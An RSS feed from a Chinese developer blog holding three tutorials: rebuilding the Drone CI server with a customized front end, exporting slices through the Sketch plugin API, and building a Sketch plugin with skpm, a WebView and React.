<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet type="text/css" href="https://imnerd.org/css/rss.css"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>日常杂事 on 怡红院落</title><link>https://imnerd.org/categories/%E6%97%A5%E5%B8%B8%E6%9D%82%E4%BA%8B.html</link><description>Recent content in 日常杂事 on 怡红院落</description><language>zh-CN</language><copyright>© 2021</copyright><lastBuildDate>Tue, 06 Oct 2020 00:55:00 +0800</lastBuildDate><atom:link href="https://imnerd.org/categories/%E6%97%A5%E5%B8%B8%E6%9D%82%E4%BA%8B/index.xml" rel="self" type="application/rss+xml"/><item><title>Drone 自定义 UI</title><link>https://imnerd.org/drone-custom-ui.html</link><pubDate>2020-12-06</pubDate><guid>https://imnerd.org/drone-custom-ui.html</guid><description>Drone 是一款开源的 CI/CD 工具，基于容器提供了强大的插件系统。多年前我有写过《基于Docker的CI工具——Drone》中有详细的介绍它的优点。Drone 采用的是 Server/Agent 架构，Server 端用来处理请求派发任务给 Agent，最终在 Agent 上执行任务。
Drone 整体是使用 Golang 写的，drone/drone-ui 是它的前端页面仓库，采用 Vue.js 进行开发（很早之前是使用 React 进行开发的）。前后端分离的项目，比较正常的中间会使用 NGINX 之类的 Web Server 进行桥接，用户通过 Web Server 访问前端页面，然后页面在访问 Web Server 反代后的接口。不过 Drone Server 端直接是使用的 Golang 自己起的服务，而 Golang 又是一种需要编译的语言。为了能让 Server 编译后还是单文件，作者特地写了一款工具 bradrydzewski/togo 用来将静态资源编译成 Golang 代码。编译出来的结果本质就是文件路由和内容的哈希表，可以在官方仓库中一窥究竟。
将编译后生成的 Golang 文件提交到仓库之后，就可以在 Server 中使用模块的形式将其加载进来，剩下的就是在 Server 中根据路由获取内容返回了。这种做法在开发上会比较麻烦，不过对使用的人来说倒是方便很多了。不过由于静态资源被编译进了执行文件中，所以我们如果要自定义前端界面的话，就需要按照这个流程重新构建编译 Server 执行文件了。
构建前端模块 首先我们需要针对 drone/drone-ui 原始仓库进行 Fork，在新的仓库中根据你们的需求进行前端代码的修改。在 RADME 中介绍了如何在开发环境中进行开发。如果改动不大的话，可以在每次 Drone 官方发布版本的时候根据上游仓库提交 Pull Request 进行需求合并。执行 npm run build 会在 dist/files 目录生成最终需要的前端静态资源。
前端资源备好之后需要安装 bradrydzewski/togo 将静态资源嵌到 Golang 代码中。如果没有安装 Golang 的话需要先安装 Golang。另外 Golang 的全局 bin 目录需要配置到 PATH 环境变量中，否则编译时会提示找不到该命令。
go get github.com/bradrydzewski/togo cd dist go generate dist.go 注： go generate 是利用注释快速执行脚本的一种方式。本质上是执行了 dist.go 文件中的 togo http -package dist -output dist_gen.go 这条命令。
最后将编译生成的 dist_gen.go 文件添加到仓库中提交，完成前端模块的构建。接下来我们需要重新构建 Server 执行文件。
构建执行文件 Server 执行文件的仓库是在 drone/drone，我们需要找到依赖了 github.com/drone/drone-ui 模块的文件，并将其替换成我们 Fork 的新仓库地址 xxx.com/xxx/drone-ui。主要有 ./handler/web/{logout,pages,web}.go 三个文件需要被替换。
go get -v -insecure xxx.com/xxx/drone-ui sed -i &amp;#39;&amp;#39; &amp;#39;s/github.com\/drone\/drone-ui/xxx.com\/xxx\/drone-ui/&amp;#39; ./handler/web/{logout,pages,web}.go 注： 针对这种场景，Golang 官方的模块管理中其实是支持 replace 方式用来将 A 模块替换成 B 模块的，不过我当时没有实验成功，就还是使用了 sed 的方式。
go mod edit -replace=github.com/drone/drone-ui=xxx.com/xxx/drone-ui 之后我们就可以执行 go build 对其进行构建了。我们并没有对该项目进行修改，只是针对它依赖的前端模块进行处理。所以我的想法是当 drone-ui 仓库发生变更的之后，执行 CI 流水线将 Server 仓库克隆下来修改后执行镜像构建并上传到镜像仓库中。
CI 执行当然是选择 Drone 啦，用 Drone 去构建 Drone 听起来就很酷！默认 Drone 会把当前仓库克隆下来，但实际上我们不需要克隆当前仓库，当前仓库是被主仓库依赖的模块。我们真正需要下载的是 drone/drone 主仓库。
clone: disable: true steps: - name: clone image: alpine/git commands: - git clone https://github.com/drone/drone.git . - git checkout ${DRONE_TAG} trigger: event: -tag 在 Drone 的配置中，设置 disable: false 即可实现不克隆当前仓库。然后自己在单独增加 git clone 的步骤。我们将仓库克隆到当前目录中，并根据当前 git tag 的版本号切换 Server 仓库的版本。这样保证最后编译出来的镜像同版本号和上游不会有其它差异。
- name: build image: golang:1.14.4 commands: - go get -v -insecure xxx.com/xxx/drone-ui - sed -i &amp;#39;&amp;#39; &amp;#39;s/github.com\\/drone\\/drone-ui/xxx.com\\/xxx\\/drone-ui/&amp;#39; ./handler/web/{logout,pages,web}.go - sh scripts/build.sh environment: GOARCH: amd64 GOOS: linux 接下来这段构建命令除了增加前端模块依赖替换之外，其它的都是从上游 Server 仓库 中搬运过来的。上游构建中还有 ARM, ARM64 架构版本的构建，由于我这里并不需要，就不增加构建时间了。
之后我们再像官方一样，增加 Docker 镜像构建上传的步骤即可完成最终镜像的创建。使用的时候使用该镜像即可。
后记 同样是使用 Drone 搭建，官方针对 Github 搭建的 https://cloud.drone.io 在未登录的情况下还会自带一个登录页。原理是 Server 服务在 pages.go 中判断接入域名为 &amp;ldquo;cloud.drone.io&amp;rdquo; 的话会展示位于 handler/web/landingpage/index.html 的静态页。如果有门户页的需求的话可以针对这些文件进行对应的修改。</description></item><item><title>Sketch 插件导出切片</title><link>https://imnerd.org/export-slice-in-sketch-plugin.html</link><pubDate>2020-12-06</pubDate><guid>https://imnerd.org/export-slice-in-sketch-plugin.html</guid><description>Sketch 作为流行的 UI 设计软件，除了设计之外，还承担了设计与开发之间沟通的桥梁作用。通过 Sketch 导出的在线标注能够节省很多沟通的成本。除了标注之外还有个比较重要的功能就是切图的导出。Sketch 中如果要导出一张切图，需要将其标记为切片（Slice）。在 Sketch 中切片的标记是多种多样的，针对不同的切片标记插件需要处理的逻辑也有细微的差别。下面我们就来看看不同的切片操作在插件中应该如何导出吧。
注： Ctrl + Shift + K 可以在 Sketch 中调出插件脚本运行的 Playground，可以方便的调试代码。
图层及编组切片 这种是最普通的方式了，当我们想要将某个图层导出成图片的时候，就会为该图层设置导出选项。导出选项中我们可以设置多种导出尺寸和格式，在左侧图层面板中设置了导出选项的图层会增加类似刻刀的图标标记。
Sketch API 提供了 sketch.export() 方法帮助我们在切片中导出切片图层。设置了导出选项的图层，图层属性会带有 exportFormats 属性，我们可以根据它判断是否是需要导出切图的图层。
const sketch = require(&amp;#34;sketch/dom&amp;#34;); const artboard = sketch.getDocuments()[0].pages[0].layers[0]; const exportLayers = artboard.layers.filter(layer =&amp;gt; layer.exportFormats.length); exportLayers.forEach(layer =&amp;gt; sketch.export(layer, { scales: 1, formats: &amp;#39;svg&amp;#39;, output: `~/Desktop/Sketch-Export-Demo` })); 编组带切片图层 除了为图层设置导出项之外，我们还可以专门添加切片图层来导出图片。切片图层会将所有与该切片图层同级的图层叠加后产生的图片进行导出。同时它不依赖素材图层，在尺寸设置上更加自由。
理论上这种情况使用 sketch.export() 方法也是没有问题的。不过这种情况下会像示例图一样，切片导出会把父级的白色背景色也导出出来，然而大部分情况下我们需要的其实只是透明图层。
这时候要导出不带背景色的图片的话，需要将切片图层和同级元素都放在一个编组里，这时候切片图层导出会多出一个 Export group contents only 的选项，中文译为仅导出编组内内容。当它被选中后，由于父级背景色不属于编组就会被排除了。
所以我们需要使用代码实现编组，勾选配置和导出三件事情。我们使用 sketch.Group 实例化了一个与画板等大的编组，并将同级的图层复制了一份放到了新创建的编组里。这里需要注意的是图层的坐标是相对的，在编组内的坐标会基于编组图层本身进行偏移。所以我们需要基于新的编组图层位置重新计算复制图层的位置，嗯，小学减法操练起来~
至于勾选配置这件事，我似乎没有找到 JavaScript API 能干这个事情，只能通过 sketchObject 属性获取到 OC 对象调用 Native 的方法设置了。至于为什么 setLayerOptions() 的参数是 2，我要说是因为要设置的是第 2 个选项你信么（掩面…
const sketch = require(&amp;#39;sketch/dom&amp;#39;); const artboard = sketch.getDocuments()[0].pages[0].layers[0]; const duplicateLayers = artboard.layers.map(layer =&amp;gt; { const copy = layer.duplicate(); copy.frame = new sketch.Rectangle( layer.frame.x - artboard.frame.x, layer.frame.y - artboard.frame.y, layer.frame.width, layer.frame.height ); return copy; }); const group = new sketch.Group({ name: &amp;#39;切片编组&amp;#39;, parent: artboard, frame: artboard.frame, layers: duplicateLayers }); const slice = group.layers.find(layer =&amp;gt; layer.type === sketch.Types.Slice); slice.sketchObject.exportOptions().setLayerOptions(2); sketch.export(slice, {scales: 2, formats: &amp;#39;png&amp;#39;, output: &amp;#39;~/Desktop/Sketch-Export-Demo&amp;#39;}); group.remove(); 控件内切片图层 上面说的都是画板本身的图层设置成切片的配置。除了上文说到的元素之外，在 Sketch 中还存在着控件（Symbol）元素。它可以类比为代码中的基类，每一个控件可以实例化出一个控件实例，实现控件一处修改，处处生效的特性，让 UI 设计更加的工程化。控件还有类似代码中变量的覆盖层概念，支持将控件中的某个元素配置化，每个实例配置不同的覆盖层满足不同控件实例求同存异的需求。
正常情况下插件只能拿到画板下的图层，也就是只能拿到最终的控件实例。如果在控件中包含切片的话（如上图），普通方法是无法获取的。这时候就需要使用上图的“解绑”这个功能，对应到代码的话就是 layer.detach() 方法。点击解绑之后，控件实例就会转换成普通的编组图层，里面会包含一份控件所有元素的复制。这样我们就能按照之前的流程进行处理了。
const sketch = require(&amp;#39;sketch/dom&amp;#39;); const artboard = sketch.getDocuments()[0].pages[0].layers[0]; artboard.layers.forEach(layer =&amp;gt; { if(layer.type !== sketch.Types.SymbolInstance) { return; } //为了不影响原图层，使用 duplicate() 方法复制一份图层出来再使用 detach() 进行解绑 const symbolGroup = layer.duplicate().detach({recursively: false}); const exportLayers = symbolGroup.layers.filter(layer =&amp;gt; layer.exportFormats.length); exportLayers.forEach(layer =&amp;gt; sketch.export(layer, { scales: 1, formats: &amp;#39;svg&amp;#39;, output: &amp;#39;~/Desktop/Sketch-Export-Demo&amp;#39; })); //最后操作完成后将复制图层删除 symbolGroup.remove(); }); 控件画板为切片 在之后的使用中，我们发现也会存在直接给控件画板设置成切片导出的操作。这种情况下我们直接对控件实例进行解绑会发现解绑后的编组并没有标记成切片，甚至还会出现其他的一些情况。从下图可以看到不仅解绑后的编组丢失了切片标记，控件尺寸也发生了变化。原始是 32×32 的控件，经过解绑之后尺寸变成了 26×26，周边填充的留白消失了。这是因为看到的留白本质是画板尺寸撑起来的，解绑相当于对控件内的所有图层的拷贝，然而并不包括画板。所以画板的切片属性，以及因为画板尺寸带来的留白等特性都丢失了。
解决的办法也很简单，我们可以通过 sketch.getSymbolMasterWithID() 方法获取到控件，判断控件本身有切片标记的话特殊处理一下。刚才我们说了，控件解绑后肯定是没办法获取到尺寸了，所以我们需要换个思路。由于整个控件是切片，所以我们其实是不需要去观察控件内部是否存在切片导出图层，也就不需要像上面那么复杂去做解绑的操作。通过额外增加一个切片图层，补充上控件丢失的切片标记信息。剩下来的事情其实就和前文“编组带切片图层”一节是一样的了。
const sketch = require(&amp;#39;sketch/dom&amp;#39;); const document = sketch.getDocuments()[0]; const artboard = document.pages[0].layers[0]; artboard.layers.forEach(layer =&amp;gt; { if(layer.type !== sketch.Types.SymbolInstance) { return; } const master = document.getSymbolMasterWithID(layer.symbolId); if(!master?.exportFormats.length) { return; } const instance = layer.duplicate(); instance.frame = new sketch.Rectangle(0, 0, layer.frame.width, layer.frame.height); const slice = new sketch.Slice({ name: layer.name + &amp;#39;_Slice&amp;#39;, frame: new sketch.Rectangle(0, 0, layer.frame.width, layer.frame.height), exportFormats: [ {size: &amp;#39;1x&amp;#39;, fileFormat: &amp;#39;svg&amp;#39;} ] }); slice.sketchObject.exportOptions().setLayerOptions(2); const group = new Group({ name: layer.name + &amp;#39;_Group&amp;#39;, parent: layer.parent, frame: layer.frame, layers: [ slice, instance ] }); sketch.export(slice, {scales: &amp;#39;1&amp;#39;, formats: &amp;#39;svg&amp;#39;}); group.remove(); }); 这里我们分别创建了当前图层的复制层和与控件等大的切片图层，最后在当前图层的位置实例化了一个编组巧妙的将前两者包裹住再导出切片。可能会有同学疑问，既然已经不需要解绑来获取控件内部的切片，那为什么不在判断该控件实例需要切片导出的时候直接设置该控件实例的导出项呢？
感兴趣的同学可以试试，你会发现在这种情况下控件实例的导出项也会和我们最开始说的一样丢失画板的留白的。可以想象到 Sketch 内部本身的导出逻辑可能和我们解绑操作差不多。通过等大的切片图层，我们能很好的将控件画板带来的留白保存下来。而冗余的再套了一层编组，则是为了解决前文说的切片导出会附带同层级的背景问题。
后记 上述列出来的切片情况基本包含了大部分设计师的切片导出习惯，控件切片在进行解绑后可以回归到图层、编组、切片的逻辑中。按照上述逻辑递归所有图层可以完成所有切片图层的导出。为了更好的帮助大家理解，以上代码都是真实代码，可以直接在 Sketch 的代码编辑器中运行。
通过以上的例子可以看到，Sketch API 操作真的就是 JavaScript 语法，一点 OC 的东西都没有，对前端工程师非常友好。不过 sketch.export() 方法目前封装的不是非常的完美，在导出组件库中的控件时会存在导出图片空白的情况。这时候只能使用 OC 的方法进行导出了，希望能在之后的版本中修复该问题。
function nativeExport(layer, {format, scale, filename}) { const output = MSExportRequest.exportRequestsFromExportableLayer(layer.sketchObject).firstObject(); output.format = format; output.scale = scale; return context.document.saveExportRequest_toFile(output, options.filePath); } 参考资料：
《Set &amp;ldquo;Export group contents only&amp;rdquo;》 《手把手教你写一个批量切图sketch插件》</description></item><item><title>如何制作 Sketch 插件</title><link>https://imnerd.org/how-to-write-sketch-plugin.html</link><pubDate>2020-02-01</pubDate><guid>https://imnerd.org/how-to-write-sketch-plugin.html</guid><description>Sketch 是近些年比较流行的 UI 设计软件，它比起之前常用的 Illustrator 或者 Photoshop 比较好的地方在于小巧功能简单但足够，同时对 Mac 的触摸板支持更加友好。另外它的插件系统也要比 Adobe 更加友好，大量的插件帮助我们解决协同和效率上的问题。
Sketch 插件最大的好处在于可以直接使用 JavaScript 进行开发，并提供了许多配套的开发工具。下面我就以帮助设计师同学快速插入占位图的插件 Placeholder 为例，带大家一步一步的了解如何进行 Sketch 插件开发。
在进行插件开发之前，我们需要了解一些基础的知识。Sketch 是一套原生 Objective-C 开发的软件，它之所以能支持使用 JS 开发，是因为它使用 CocoaScript 作为插件的开发语言。它就像是一座桥（Bridge），能让我们在插件中写 OC 和 JS，然后 Sketch 将基础方法进行了封装，实现了一套 JavaScript API，这样我们就能使用 JS 开发 Sketch 插件了。
注： 关于如何开发插件，官方提供了一份入门教程《Create a plugin》，在阅读下文之前，也可以花 2~3min 先看看这篇官方教程，内容比较简短。
需求整理 在进行插件开发之前，我们捋一捋我们需要实现的功能。http://placeimg.com/ 是一个专门用来生成占位图的网站，我们将利用该网站提供的服务制作一个生成指定大小的占位图并插入到 Sketch 画板中的功能。插件会提供一个面板，可以让使用者输入尺寸、分类等可选项，同时提供插入按钮，点击后会在画板插入一张图片图层。
使用 skpm 初始化项目 skpm 是 Sketch 官方提供的插件管理工具，类比于 Node.js 中的 npm。它集插件的创建、开发、构建、发布等多项功能于一体，我们在很多场景都需要使用它。安装的话比较简单，直接使用 npm 全局安装即可。
npm install -g skpm 按照官方教程，安装完毕之后我们就可以使用 skpm create 命令来初始化项目目录了。当然 skpm 是支持基于模板初始化的，官方仓库也列举了一些模板，我们可以使用 --temlate 来指定模板进行初始化。不过处于教学的目的，我这里就还是使用官方默认的模板创建了。
➜ ~ skpm create sketch-placeimg ✔ Done! To get started, cd into the new directory: cd sketch-placeimg To start a development live-reload build: npm run start To build the plugin: npm run build To publish the plugin: skpm publish skpm 内部会使用 webpack 进行打包编译，运行 npm run build 会生成 sketch-placeimg.sketchplugin 目录，该目录就是最终的插件目录。双击该目录，或者将该目录拖拽到 Sketch 界面上就成功安装插件了。和 webpack --watch 类似，运行 npm run watch 的话对监听文件变化实时编译，在开发中非常有帮助。
注： 不要使用 npm start 进行开发，它携带的 --run 命令会使得构建速度特别慢。虽然它带 Live Reload 功能会很方便，但在官方未修复该问题前还是不建议大家使用。
项目结构入门 创建好的模板目录结构如下，为了帮助大家理解，我们来简单的介绍下这些目录和文件。
. ├── README.md ├── assets │ └── icon.png ├── sketch-assets │ └── icon.sketch ├── sketch-placeimg.sketchplugin │ └── Contents │ ├── Resources │ │ └── icon.png │ └── Sketch │ ├── manifest.json │ ├── my-command.js │ └── my-command.js.map ├── node_modules ├── package.json └── src ├── manifest.json └── my-command.js package.json 和大多数 JS 项目一样，skpm 创建的项目中也会有 package.json 文件。该文件除了像之前一样记录了项目的依赖和快捷命令之外，还增加了 skpm 字段用来对 skpm 进行配置，默认的值如下。
{ ... &amp;#34;skpm&amp;#34;: { &amp;#34;name&amp;#34;: &amp;#34;sketch-placeimg&amp;#34;, &amp;#34;manifest&amp;#34;: &amp;#34;src/manifest.json&amp;#34;, &amp;#34;main&amp;#34;: &amp;#34;sketch-placeimg.sketchplugin&amp;#34;, &amp;#34;assets&amp;#34;: [ &amp;#34;assets/**/*&amp;#34; ], &amp;#34;sketch-assets-file&amp;#34;: &amp;#34;sketch-assets/icons.sketch&amp;#34; }, ... } 这里指定了该插件的名称为 sketch-placeimg，插件的 manifest 文件为 src/manifest.json。main 表示的是最终生成的插件目录名称。assets 则表示的插件依赖的图片等相关素材，在编译的时候会将命中该配置的文件拷贝到 &amp;lt;main&amp;gt;/Contents/Resources 目录下。
manifest.json manifest.json 这个文件大家可以理解为是 Sketch 插件的 package.json 文件。我们来看看默认生成的 manifest.json。
{ &amp;#34;$schema&amp;#34;: &amp;#34;https://raw.githubusercontent.com/sketch-hq/SketchAPI/develop/docs/sketch-plugin-manifest-schema.json&amp;#34;, &amp;#34;icon&amp;#34;: &amp;#34;icon.png&amp;#34;, &amp;#34;commands&amp;#34;: [ { &amp;#34;name&amp;#34;: &amp;#34;my-command&amp;#34;, &amp;#34;identifier&amp;#34;: &amp;#34;sketch-placeimg.my-command-identifier&amp;#34;, &amp;#34;script&amp;#34;: &amp;#34;./my-command.js&amp;#34; } ], &amp;#34;menu&amp;#34;: { &amp;#34;title&amp;#34;: &amp;#34;sketch-placeimg&amp;#34;, &amp;#34;items&amp;#34;: [ &amp;#34;sketch-placeimg.my-command-identifier&amp;#34; ] } } 看到 $schema 就有 JSON Schema 那味了，它对应的 JSON 文件地址告诉我们可以在里面配置那些字段。其实最重要的其实就是上面列出来的 commands 和 menu 两个字段。
commands 标记了插件有哪些命令，这里只有一个命令，命令的名称（name）是 my-command，该命令的 ID（identifier）为 sketch-placeimg.my-command-identifier，对应的执行脚本为 ./my-command.js。
menu 则标记了该插件的导航菜单配置，比如示例这里它指定了该插件在插件菜单中的名称（title）为 sketch-placeimg，并拥有一个子菜单，对应的是 ID 为sketch-placeimg.my-command-identifier的命令。通过这个 ID，菜单的行为就和执行脚本关联起来了。
appcast.xml manifest.json 默认的示例中有两个比较重要的字段没有配置，那就是 version 和 appcast。version 很明显就是用来表示当前插件的版本的。而 appcast 它的值是一个 XML 的 URL 地址，该 XML 里面包含了该插件所有的版本以及该版本对应的下载地址。Sketch 会将 version 对应的版本和 appcast 对应的 XML 进行对比，如果发现有新的版本了，会使用该版本对应的下载地址下载插件，执行在线更新插件。一个 appcast.xml 文件大概是这样的格式。
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34; standalone=&amp;#34;yes&amp;#34;?&amp;gt; &amp;lt;rss xmlns:sparkle=&amp;#34;http://www.andymatuschak.org/xml-namespaces/sparkle&amp;#34; xmlns:dc=&amp;#34;http://purl.org/dc/elements/1.1/&amp;#34; version=&amp;#34;2.0&amp;#34;&amp;gt; &amp;lt;channel&amp;gt; &amp;lt;item&amp;gt; &amp;lt;enclosure url=&amp;#34;https://github.com/lizheming/sketch-placeimg/releases/download/v0.1.1/sketch-placeimg.sketchplugin.zip&amp;#34; sparkle:version=&amp;#34;0.1.1&amp;#34;/&amp;gt; &amp;lt;/item&amp;gt; &amp;lt;item&amp;gt; &amp;lt;enclosure url=&amp;#34;https://github.com/lizheming/sketch-placeimg/releases/download/v0.1.0/sketch-placeimg.sketchplugin.zip&amp;#34; sparkle:version=&amp;#34;0.1.0&amp;#34;/&amp;gt; &amp;lt;/item&amp;gt; &amp;lt;/channel&amp;gt; &amp;lt;/rss&amp;gt; 如果是通过 skpm publish 命令去发布插件的话，会自动在根目录生成一个 .appcast.xml 文件。当然按照官方文档 《Update a plugin》 所说，你也可以手动生成。
resource 从上面的内容我们可以知道，skpm 会通过 package.json 中指定的 manifest 文件读取所有 commands 对应的 script 文件作为编译入口文件，将这些文档编译打包输出到 &amp;lt;main&amp;gt;/Contents/Sketch 目录。所有的 assets 配置对应的文件会拷贝到 &amp;lt;main&amp;gt;/Contents/Resources 目录中。最终完成插件的生成。
换句话来说只想要走 webpack 打包编译的话就必须是插件的命令才行。如果有一些依赖的非插件类资源，比如插件嵌入的 HTML 页面依赖的 JS 文件想要走编译的话，就需要使用 resource 这个配置了。resource 配置中配置的文件会走 webpack 的编译打包，并输出到 &amp;lt;main&amp;gt;/Contents/Resources 目录中。
插件开发 一些基本原理了解清楚之后我们就可以进行插件的开发了。首先我们需要用户点击插件菜单之后打开一个面板，该面板可以配置尺寸、分类等基础信息。
Sketch 插件中我们可以使用原生写法进行面板的开发，但是这样写起 UI 来说比较麻烦，而且对前端同学来说入门比较高。所以一般大家都会采用 WebView 加载网页的形式进行开发。原理基本上等同于移动端采用 WebView 加载网页一样，客户端调用 WebView 方法加载网页，通过实例的 webContents.executeJavaScript()方法进行插件到网页的通信，而网页中则使用被重定义的 window.postMessage 与插件进行通信。
sketch-module-web-view 想要在插件中加载网页，需要安装 Sketch 封装好的 sketch-module-web-view 插件。
npm install sketch-module-web-view --save-dev // src/my-command.js import BrowserWindow from &amp;#39;sketch-module-web-view&amp;#39;; export default function() { const browserWindow = new BrowserWindow({ width: 510, height: 270, resizable: false, movable: false, alwaysOnTop: true, maximizable: false, minimizable: false }); browserWindow.loadURL(require(&amp;#39;../resources/webview.html&amp;#39;)) } 当你做完这些你会发现点击插件菜单后什么都没有发生，这是因为还需要更改一下配置。大家可以看到我们最后是使用了 require() 引入了一个 HTML 文件，而官方默认的模板是没有提供 HTML 引入的支持的，所以我们需要为 HTML 文件增加对应的 webpack loader。
我们这里需要的是 html-loader 和 @skpm/extract-loader 两款 Loader。前者是用来解析处理 HTML 中存在的包括 &amp;lt;link /&amp;gt; 或者 &amp;lt;img /&amp;gt; 之类的 HTML 代码中可能存在的资源关联情况。而后者则是用来将 HTML 文件拷贝到 &amp;lt;main&amp;gt;/Contents/Resources 目录并返回对应的 file:/// 格式的文件路径 URL，用来在插件中进行关联。
npm install html-loader @skpm/extract-loader --save-dev Sketch 插件官方为我们自定义 webpack 配置也预留好了入口，在项目根目录中创建 webpack.skpm.config.js 文件，它导出的方法接收的参数中第一个则是插件最终的 webpack 配置，我们直接在这基础上进行修改即可。
// webpack.skpm.config.js module.exports = function (config, entry) { config.module.rules.push({ test: /\.html$/, use: [ { loader: &amp;#34;@skpm/extract-loader&amp;#34; }, { loader: &amp;#34;html-loader&amp;#34;, options: { attributes: { list: [ { tag: &amp;#39;img&amp;#39;, attribute: &amp;#39;src&amp;#39;, type: &amp;#39;src&amp;#39; }, { tag: &amp;#39;link&amp;#39;, attribute: &amp;#39;href&amp;#39;, type: &amp;#39;src&amp;#39; } ] } } } ] }); } html-loader 插件在新版里对配置格式做了一些修改，所以之前很多老的教程中的配置都会报错。当然如果你有更多的插件需求也可以按照这个流程往配置对象中添加。之后我们再执行 npm run watch，点击菜单就可以看到我们预期的页面了。
注： 官方是提供了一套带有 sketch-module-web-view 模块的模板的，这里只是为了能更清楚的给大家解释清楚插件的原理和流程所以和他家一步一步的进行说明。真实的开发场景中建议大家直接使用以下命令进行快速初始化。
skpm create &amp;lt;plugin-name&amp;gt; --template=skpm/with-webview React 的集成 面板这块我准备使用 React 进行开发，主要是有 React Desktoop 这个 React 组件，能够很好的在 Web 中模拟 Mac OSX 的 UI 风格（虽然也就几个表单没什么好模拟的就是了）。
令人开心的是 skpm 默认的 webpack 配置已经增加了 React 的支持，所以我们不需要额外的增加 webpack 的配置，只需要把 React 相关的依赖安装好就可以进行开发了。
npm install react react-dom react-desktop --save-dev 增加 webview.js 入口文件。由于该文件需要走 webpack 编译，但是又不是插件命令的执行文件，所以我们需要像上文说的，将入口文件加入到 package.json 的 skpm.resources 配置中。
// package.json { &amp;#34;skpm&amp;#34;: { &amp;#34;resources&amp;#34;: [ &amp;#34;resources/webview.js&amp;#34; ] } } // resources/webview.js import React from &amp;#39;react&amp;#39;; import ReactDOM from &amp;#39;react-dom&amp;#39;; function App() { return (&amp;lt;&amp;gt; &amp;lt;p&amp;gt;Hello World!&amp;lt;/p&amp;gt; &amp;lt;hr /&amp;gt; via: &amp;lt;em&amp;gt;@lizheming&amp;lt;/em&amp;gt; &amp;lt;/&amp;gt;) } ReactDOM.render(&amp;lt;App /&amp;gt;, document.getElementById(&amp;#39;app&amp;#39;)); webview.html 也需要改造一下，引入 JS 入口文件。这里需要注意一下 ../resource_webview.js 这个引用文件地址，这是 JS 入口文件编译后最终的文件地址。主要是因为 HTML 文件最终会生成到 &amp;lt;name&amp;gt;.sketchplugin/Resources/_webpack_resources 目录下，而 JS 入口文件会将 / 分隔符替换成 _ 分隔符，生成在 &amp;lt;name&amp;gt;.sketchplugin/Resources 目录下。
&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&amp;#34;zh-CN&amp;#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&amp;#34;utf-8&amp;#34; /&amp;gt; &amp;lt;title&amp;gt;PlaceIMG&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&amp;#34;app&amp;#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script src=&amp;#34;../resources_webview.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 注：
HTML 文件生成到 _webpack_resources 配置 JS 入口文件生成到 Resource 目录配置 面板开发 流程打通了之后接下来我们可以专心进行面板的开发了。面板开发这块就不多描述了，无非就是前段页面的编写而已，最后插件面板大概是长这样子的。
-_-||嗯，其实我就是想和大家讲下流程硬上 React 的…
选择完毕点击插入后，调用 postMessage() 方法将最终的配置传递给插件。
//resources/webview.js import React, {useReducer} from &amp;#39;react&amp;#39;; function App() { const [{width, height, category, filter}, dispatch] = useReducer( (state, {type, ...payload}) =&amp;gt; ({...state, ...payload}), {width: undefind, height: undefined, category: &amp;#39;any&amp;#39;, filter: &amp;#39;none&amp;#39;} ); const onInsert = _ =&amp;gt; postMessage(&amp;#39;insert&amp;#39;, width, height, category, filter); return ( &amp;lt;button onClick={onInsert}&amp;gt;插入&amp;lt;/button&amp;gt; ); } 注： Web 原生的 postMessage() 方法的语法为 postMessage(message, targetOrigin, [transfer])。事件名称和事件参数都应该序列化之后通过 message 参数传入。
Sketch 插件中的 postMessage() 方法是注入方法，它对原生的方法进行了复写，所以参数格式上会与原生的不一样。注入方法的实现可参见 sketch-module-web-view 代码。
在插件中，我们监听 insert 事件，获取到用户选择的配置之后给生成图片图层插入到画板中。
//src/my-command.js import sketch, { Image, Rectangle } from &amp;#39;sketch/dom&amp;#39;; import BrowserWindow from &amp;#39;sketch-module-web-view&amp;#39;; export default function() { const browserWindow = new BrowserWindow({...}); browserWindow.webContents.on(&amp;#39;insert&amp;#39;, function(width, height, category, filter) { const url = &amp;#39;https://placeimg.com/&amp;#39; + [width, height, category, filter].join(&amp;#39;/&amp;#39;); new Image({ image: NSURL.URLWithString(url), parent: getSelectedArtboard(), frame: new Rectangle(0, 0, width, height), }); return browserWindow.close(); }); } 插件发布 最终我们的插件的主体功能就开发完毕了。下面我们就可以进行插件的发布了。我们可以直接使用 skpm publish 进行发布，它需要你通过 skpm publish --repo-url 或者是 package.json 中的 repository 字段为插件指定 Github 仓库地址。
在 Personal Access Token 页面为 skpm 申请新的 Token，记得勾选上 repo 操作的权限。使用 skpm login &amp;lt;token&amp;gt; 进行登录之后，skpm 就获得了操作项目的权限。
最后通过 skpm publish &amp;lt;version&amp;gt; 就可以成功发布了。如前文所说，发布后会在项目目录创建 .appcast.xml 文件，同时会发布一条对应版本的 Release 记录，提供插件的 zip 包下载地址。执行完 publish 操作后，如果发现你的插件还没有在插件中心仓库中列出来，还会询问你是否提交个 PR 把自己的插件增加上。
当然如果你的插件不方便发布到 Github 上，也可以使用前文所说的手工发布，执行 skpm build 后对生成的 &amp;lt;name&amp;gt;.sketchplugin 目录进行打包即可。
插件调试 上文的示例插件比较简单，所以没有使用特别多的调试手段。在官方教程《Debug a plugin》中描述了多种可以进行调试的方式。用的比较多的还是日志调试方式，可以使用系统的 Console.app 查看日志，也可以使用 skpm log -f 插件日志。
文档里说的大部分是插件的调试，WebView 内的前端代码调试会更简单一点。WebView 窗体右键审查元素即可使用 Safari 的开发者工具进行调试了。
注： 插件本身的代码本质是客户端代码，WebView 本质是前端代码，所以两者的调试和日志输出位置都是有区别的，这里要注意区分。
后记 以上就是开发 Sketch 的一些基础知识和简单流程，其它的就是多去看一下 Sketch API 文档了。不过在实际的使用中 Sketch 的这套 JavaScript API 并不是非常完美，部分功能可能还暂时需要使用原生 API 区别。这时候可以多 Google 一下，能找到很多前人的实现，节省自己的工作量。
